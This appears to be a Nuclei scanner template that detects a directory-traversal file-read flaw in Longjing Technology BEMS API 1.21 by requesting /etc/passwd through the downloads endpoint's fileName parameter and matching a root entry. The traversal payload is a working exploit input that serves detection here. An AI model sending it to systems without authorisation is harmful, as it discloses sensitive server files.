id: bems-api-lfi

info:
  name: Longjing Technology BEMS API 1.21 - Local File Inclusion
  author: gy741
  severity: high
  description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
    - https://packetstormsecurity.com/files/163702/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100c23364bc1edb9b12d6360534784f7909102eaa2b7d6ade0a4ec84cf5d45acc55022100ce9a9757a3391cd8fd9287eb0bb043335ba1dea6c218aef73d2bb6828a37781e:922c64590222798bb761d5b6d8e72950
